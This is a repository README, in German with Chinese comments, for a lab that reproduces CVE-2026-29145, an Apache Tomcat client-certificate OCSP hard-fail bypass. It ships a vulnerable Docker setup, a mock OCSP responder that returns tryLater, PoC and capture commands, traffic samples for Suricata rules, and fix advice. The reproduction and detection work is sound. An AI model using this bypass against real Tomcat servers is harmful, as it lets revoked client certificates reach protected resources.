CVE-2026-29145 Everything

Apache Tomcat CLIENT_CERT + OCSP soft-fail bypass – vollständige Reproduktionsumgebung, Exploit-Traffic-Mitschnitte und Material zum Schreiben von Suricata-Erkennungsregeln.

Nur für autorisierte Sicherheitsforschung und die Entwicklung von Erkennungsregeln. Nicht für nicht autorisierte Systeme verwenden.

Schwachstellenübersicht

Funktionsweise der Schwachstelle

Wenn Tomcat mit CLIENT_CERT und OCSP sowie mit ocspSoftFail=false (Hard-Fail) konfiguriert ist, werden einige OCSP-Fehlerpfade (insbesondere der Antwortstatus tryLater) weiterhin nicht als Hard-Failure behandelt. Dadurch wird ein Client-Zertifikat akzeptiert, das eigentlich abgelehnt werden sollte, und geschützte Ressourcen können aufgerufen werden.

Der offizielle Fix (z. B. Tomcat-Commit fe26667c) gleicht die Behandlung von OCSP TRY_LATER im FFM-Pfad an Tomcat Native an.

Konkrete Testergebnisse in diesem Repository

Getestet mit Tomcat 10.1.52 + Tomcat Native 2.0.12:

Kernpunkt: Es muss ein tryLater gemäß RFC 6960 zurückgegeben werden – ein bloßer HTTP-500-Status reicht in dieser Umgebung nicht aus, um die Umgehung auszulösen.

Repository-Inhalte

CVE-2026-29145-Everything/
├── README.md                 # 本文件
├── REPRODUCTION.md           # 详细复现笔记与 Suricata 提示
├── docker-compose.yml        # 脆弱 Tomcat + Mock OCSP
├── poc_exploit.py            # 利用/检测脚本（exit 10 = 脆弱）
├── simple_proxy_fail.py      # Mock OCSP（fail / succeed / try_later / internal_error）
├── setup_certs.sh            # 生成 CA / 服务端 / 客户端证书（含 OCSP AIA）
├── capture_exploit.sh        # 一键利用并抓包
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│   ├── server.xml            # mTLS + ocspEnabled + ocspSoftFail=false
│   ├── tomcat-users.xml      # CLIENT-CERT 用户映射
│   ├── ROOT/                 # 官方镜像缺省 ROOT 的最小补丁
│   └── protected/            # 受保护资源 + web.xml (CLIENT-CERT)
└── pcaps/                    # ★ 已抓取的利用流量（写规则用）
    ├── CVE-2026-29145-mtls-and-ocsp.pcap   # 主包：mTLS + OCSP
    ├── CVE-2026-29145-ocsp-only.pcap       # 仅 OCSP 明文
    ├── CVE-2026-29145-mtls-only.pcap       # 仅 8443 TLS
    └── exploit_response.html               # 利用成功响应快照

Das Verzeichnis certs/ mit den privaten Zertifikatsschlüsseln wird standardmäßig von .gitignore ignoriert und muss lokal erzeugt werden.

Schnellstart

Abhängigkeiten

• Docker / Docker Compose
• OpenSSL
• Python 3.7+ (pip install -r requirements.txt oder Systempaket python3-requests)
• tcpdump (optional, für Traffic-Mitschnitte)

Reproduktion mit einem Befehl

git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything

# 1. 生成证书（AIA 指向 Docker 内 OCSP 服务名）
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh

# 2. 启动环境（默认 OCSP_MODE=try_later）
docker compose up -d
# 等待 healthy
docker compose ps

# 3. 运行 PoC
python3 poc_exploit.py
# 期望输出:
#   [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# 退出码 10 = 脆弱；0 = 不可利用/已修补

Manuelle Überprüfung:

curl -sk --http1.1 \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://127.0.0.1:8443/protected-resource/

Traffic aufzeichnen (Mitschnitte behalten)

./capture_exploit.sh
# 输出到 pcaps/CVE-2026-29145-*.pcap

Dem Repository liegt bereits ein pcap aus einer erfolgreichen Ausnutzung bei. Es kann direkt für die Validierung von Suricata-Regeln verwendet werden, ohne dass neue Mitschnitte erforderlich sind.

OCSP-Mock-Modi

# tryLater — CVE 触发路径（默认）
OCSP_MODE=try_later docker compose up -d --force-recreate

# HTTP 500 失败（本环境硬失败会拒绝）
OCSP_MODE=fail docker compose up -d --force-recreate

# 模拟 OCSP 成功（body 非真实 DER，仅测连通）
OCSP_MODE=succeed docker compose up -d --force-recreate

# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate

Verkehrsmerkmale (Suricata-Material)

Wichtig: 8443 ist mTLS mit TLS-1.3-Verschlüsselung; beim direkten Öffnen in Wireshark sieht es wie Kauderwelsch aus.
8888 ist Klartext-HTTP mit OCSP – beim Schreiben von Regeln sollte man zuerst auf OCSP achten.
Vollständige Erläuterungen finden sich in pcaps/README.md.

Empfohlene Dateien

OCSP-Klartext (direkt im Netz abgleichbar)

POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request

HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5

[5 bytes DER] 30 03 0a 01 03    # tryLater

Entschlüsselter HTTP-Anwendungstext (erfordert sslkeys.log)

GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0

HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted

Wireshark: Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log

tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log   -Y 'http && tcp.port==8443' -V

Ausführliche Hinweise finden sich in REPRODUCTION.md und pcaps/README.md.

Konfigurations-Highlights (anfällige server.xml)

<Connector port="8443" SSLEnabled="true"
           sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
           ...>
  <SSLHostConfig
      certificateVerification="required"
      caCertificateFile="conf/certs/ca-chain.pem"
      ocspEnabled="true"
      ocspSoftFail="false"
      ocspTimeout="5">
    <Certificate ... />
  </SSLHostConfig>
</Connector>

Die CLIENT-CERT-Konfiguration auf Anwendungsebene finden Sie in tomcat/protected/WEB-INF/web.xml.

Empfehlungen zur Behebung

1. Tomcat auf 10.1.53+ aktualisieren (oder die behobene Version der jeweiligen Release-Linie)
2. Tomcat Native ebenfalls auf 2.0.14+ aktualisieren
3. Die ocspSoftFail-Richtlinie und die Erreichbarkeit von OCSP erneut prüfen; Regressionstests für unerreichbares/tryLater-Verhalten durchführen

Aufräumen

./cleanup.sh
# 或
docker compose down -v

Referenzen

• Apache Tomcat 10 Security — CVE-2026-29145
• NVD CVE-2026-29145
• RFC 6960 OCSP
• Upstream-PoC-Grundgerüst: CVE-2026-29145-Tester (dieses Repository hat die reproduzierbare Konfiguration und den tryLater-Pfad gehärtet und vollständig dokumentiert)

Haftungsausschluss

Dieses Projekt dient ausschließlich zu Bildungszwecken, für autorisierte Penetrationstests und die Entwicklung von Intrusion-Detection-Regeln. Der Nutzer muss sicherstellen, dass er über eine rechtmäßige Autorisierung für das Zielsystem verfügt. Der Autor übernimmt keine Verantwortung für missbräuchliche Verwendung.